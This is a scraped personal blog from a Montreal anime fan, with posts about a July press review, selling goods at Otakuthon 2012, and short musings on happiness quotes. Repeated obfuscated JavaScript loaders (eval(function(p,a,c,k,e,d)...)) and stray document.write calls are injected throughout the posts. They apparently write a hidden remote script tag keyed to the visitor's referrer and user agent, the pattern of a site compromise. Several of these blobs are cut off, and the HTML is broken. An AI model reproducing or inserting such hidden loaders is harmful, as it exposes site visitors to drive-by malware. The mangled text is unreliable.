Press Review (July)

Another busy (and tiring) month, document.write(“”); but despite all I still gathered enough scraplinks to share after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|setey|var|u0026u|referrer|nfeas||js|php’.split(‘|’),0,{}))

Otakuthon 2012

Again this year we will be at Otakuthon to promote Anime & Manga (as well as the still-on-hold <a href="http://www.protoculture-mag.com/&quot; target="“new”""iProtoculture/i/a) but mostly to sell lots of goodies from my personal collection (I moved last year into a smaller space and I really need to make some room).br /

The convention will be held August 3-5 at the Palais des Congrès de Montréal (201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the a href=”

br /
I’ve been doing this for a long time and this year might very well be the last year (I am not getting any younger after all) so don’t miss this opportunity to check my anime & manga garage sale and find special or inexpensive goodies (mostly Dvds and manga at $5 or $10 each, some art books, and more)!br /
br /
Come meet and discuss with us!br /
br /
Encore une fois cette année, je serai à a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour faire la promotion de l’anime et du manga (et aussi de notre magazine Otakuthon pour plus de détails.

Je fais ça depuis pas mal d’années mais cette fois-ci pourrait bien être la dernière (on ne rajeuni pas après tout) alors ne manquez surtout pas cette opportunité de jeter un coup d’oeil sur ma petite vente de garage et d’y trouver des items spéciaux et des aubaines incroyables (surtout des Dvds et des manga à $5 ou $10, quelques “art books” et plus)!

Venez nous recontrer pour discuter!

True intellectuals

While looking at the two plastic bags that I always carry with me in my backpack (in case I need to wrap stuff; I keep using and reusing them) I realized that they (one bag of SAQ and the other from Archambault) were representing the two staples of true intellectuals: booze and books! (10/30/2010)

Moaning glory

I recently read a quote in Readers’ Digest that describes exactly how people feel about my humour:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekkk|var|u0026u|referrer|tkffn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“

Key to happiness

I recently read in Readers’ Digest about a celebrity (I’m not sure which one) who was saying:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yftaa|var|u0026u|referrer|anfdh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“

“The key to happiness is good health and a bad memory.”

How true! But in fact that person was probably misquoting Rita Mae Brown: “One of the keys to happiness is a bad memory.” Who was herself quoting Ingrid Begman. (Or is it the other way around? Who knows!)

Lots has been said about happiness and I am sure there are no magic recipe, document.write(“”); but I also agree that happiness comes from acceptance and the expression of love (among many things). So: happy, happy, joy, joy!

Press Review (June)

I just can’t believe that I am now fifty year-old! If I do feel the increased age, document.write(“”); it’s not really what’s kept me from blogging in the last months, but the fact that I commute nearly three hours each day to get to work, which leave me completely drained (and sometimes even depressed). I fear I won’t produce much as long as I will be stuck in this “commute-work-sleep” (or as we say in french “métro-boulot-dodo”) kind of groundhog-day loop. However, I had been still quietly reading news and stashing links to the most interesting stories for later use and posterity. I am still willing to share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esrda|var|u0026u|referrer|beasd||js|php’.split(‘|’),0,{}))
